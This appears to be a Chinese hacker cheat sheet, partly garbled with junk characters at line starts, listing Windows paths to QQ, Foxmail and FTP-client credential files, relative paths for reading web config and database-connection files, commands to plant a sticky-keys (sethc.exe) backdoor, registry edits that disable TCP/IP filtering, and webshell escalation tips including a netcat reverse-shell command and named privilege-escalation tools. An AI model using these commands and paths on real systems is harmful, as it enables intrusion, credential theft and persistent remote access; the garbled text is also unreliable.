; r8 d5 b/ r0 L3 B& J  \c:\Program Files\Tencent\qq2008\qq.exe
/ A$ J* f9 F7 ~1 ?, gc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
8 e0 M: ?' d* X$ y$ g5 G! ?c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
3 q" x* Z( D0 l: QC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
  o0 s  e% j5 A0 d  R  ~C:\Program Files\LeapFTP\LeapFTP.exe
! ~" o* ~6 u/ Vc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
$ O9 n, q; J7 l6 jc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
! P- U6 u, G5 Y) Y: D) YC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
2 D+ E$ R1 }' G7 u0 Pc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
9 Z2 B1 @" C7 E1 h8 B' v/ w
3.网站相对路径:
4 q2 ?7 U" Q4 @$ y7 y
4 D# r' `. v8 B! ~  M/config.php
../../config.php
../config.php
../../../config.php
+ b+ C5 f1 b# J1 {/config.inc.php
./config.inc.php
. b2 ~5 ?0 C! [' F" ^/ j, b. C../../config.inc.php
/ E# u0 Z2 ~: H9 }../config.inc.php
5 }! h1 J- W8 q( _2 {7 N+ T../../../config.inc.php
/conn.php
./conn.php
0 p) R" I+ F; T5 d4 O../../conn.php
../conn.php
../../../conn.php
/conn.asp
6 \% u" J* T, p, K5 l( ]./conn.asp
* _/ E) I. {' i  M( f3 }../../conn.asp
/ y' D0 E, q8 X../conn.asp
../../../conn.asp
/config.inc.php
6 G5 C, H4 p$ T& Z./config.inc.php
% r( m7 i  f- V) m../../config.inc.php
../config.inc.php
../../../config.inc.php
- c) u; L& [% i7 _4 c/config/config.php
../../config/config.php
../config/config.php
) H" x5 U. T4 S+ U9 F../../../config/config.php
6 d  |" n. B0 O& u  w/config/config.inc.php
./config/config.inc.php
  v7 w+ y' J1 m# q../../config/config.inc.php
/ g* T. F3 r# I. R../config/config.inc.php
../../../config/config.inc.php
. ?; ^* |2 z1 a. X/config/conn.php
! W5 l7 S, O$ q# R* `) i& T./config/conn.php
0 L5 [* \+ l, E! i1 c8 L" M' a, g../../config/conn.php
../config/conn.php
../../../config/conn.php
3 r7 o9 B' f5 ?7 _5 G2 |; _; W/config/conn.asp
./config/conn.asp
: `3 `+ x2 a( U8 ~../../config/conn.asp
../config/conn.asp
* z2 P* F- _% R- W../../../config/conn.asp
( }- @) ~2 [, q) ]# H/config/config.inc.php
./config/config.inc.php
& G4 w) [$ j/ K: O! e+ Q$ E7 o../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
% |3 Y  m) q$ L& w7 i- Y1 I../../data/config.php
. m1 e! v- M" d2 T../data/config.php
4 N7 K: `3 G2 B# x/ [7 Z( J../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
, S, D5 F- O! }. H8 ?../../data/conn.php
../data/conn.php
../../../data/conn.php
# t) O* O, D7 ~' Z/data/conn.asp
./data/conn.asp
8 p# [; v. o8 Y+ ?" U5 w../../data/conn.asp
; Q! l6 |9 a( f3 @0 ^' R../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
( |. s8 j/ {7 e: r1 G3 {./data/config.inc.php
+ R+ a( {9 L' g/ U. P../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
; S; ]  a# e$ T4 N/ [# }( |5 }./include/config.inc.php
../../include/config.inc.php
6 X: z" d1 t* W: s0 }2 S../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
4 |) \% N& `! G7 `4 O../../include/conn.php
../include/conn.php
../../../include/conn.php
% e1 g  N% r- ?8 _/include/conn.asp
./include/conn.asp
1 l1 U! C5 X. V# P../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
) Z. d; M# N' v: O. m/include/config.inc.php
./include/config.inc.php
: f- I" D3 N1 L../../include/config.inc.php
. S5 g! j- A2 g- U$ e- V2 |../include/config.inc.php
../../../include/config.inc.php
; h3 @8 _0 {9 D$ E/inc/config.php
../../inc/config.php
9 _& |6 |8 P2 X1 q5 {../inc/config.php
../../../inc/config.php
8 s7 k" a' J- ^; Z/inc/config.inc.php
./inc/config.inc.php
3 \; L0 X% [8 `% R../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
* l$ l# k; ]  K% Y% n/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
& ~4 L7 C5 n. V7 T: i0 I$ N/ r0 h0 E../../inc/conn.asp
$ }4 U+ j& a* _. I; h5 D../inc/conn.asp
7 ]+ v1 p) o: V/ V2 x../../../inc/conn.asp
- i6 L: s* `$ e; C# E/inc/config.inc.php
% d8 B% d1 s4 `./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
; l% `/ R) _0 c# t7 e! J5 |  V../index.php
  L8 R+ q+ [& W3 u$ u, k7 V# e4 A9 s& d../../../index.php
- X) u) @$ p( A( [! t* C/index.asp
./index.asp
* r  c  L  I0 \% y. y( c../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
4 z) {! j7 E; h8 c! z
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
% a; E  j. p0 [" E2 j
' S! C2 z$ ]4 |" E- t1 O8 [　　del c:\windows\system32\sethc.exe
9 g0 _0 U" j) Z2 D+ j0 a$ I
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
. {1 `* L5 E, v& Y6 u: i+ x) l3 c
　　attrib c:\windows\system32\sethc.exe +h +r +s
1 A! B9 i6 d) ]) b, ~( R1 t
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
! l! |/ }7 g' ]. C9 G' n$ `TCP/IP筛选在注册表里有三处，分别是：
1 Q/ R! {5 `4 g: F% K& }3 }% J; nHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
1 m: i; |% M8 e+ O% C
分别用
% w# l5 D5 C" c, B+ n3 @regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
% c! k( @. u1 Y9 \( w' wregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
  Q) P0 ?" O( E  tregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: R8 [* V) L7 ^1 @2 f) o命令来导出注册表项
& T. t% ?2 P* @  c- ?+ Y
% L* o& W0 r* j. G然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
7 `# @7 R7 t9 ~  }/ n6 n/ F, W
2 d1 r( o9 }/ ^9 ~再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
- q! F- h2 ]1 r, |" z! G+ T
' @% p! B1 E7 t% n: Ewebshell提权小技巧
+ o1 Q' z' }: h1 o& I/ ?cmd路径:
5 e0 E  r" L! X, ~$ _( a3 Y' K  S" }. zc:\windows\temp\cmd.exe
nc也在同目录下
7 {6 v4 u* M$ _3 u( S/ f/ K2 t. O例如反弹cmdshell：
1 w8 j( K; b" X& W0 ~0 I$ z"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
8 `* A! m/ N0 B* \% P通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
, i1 Y( A( }% n我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功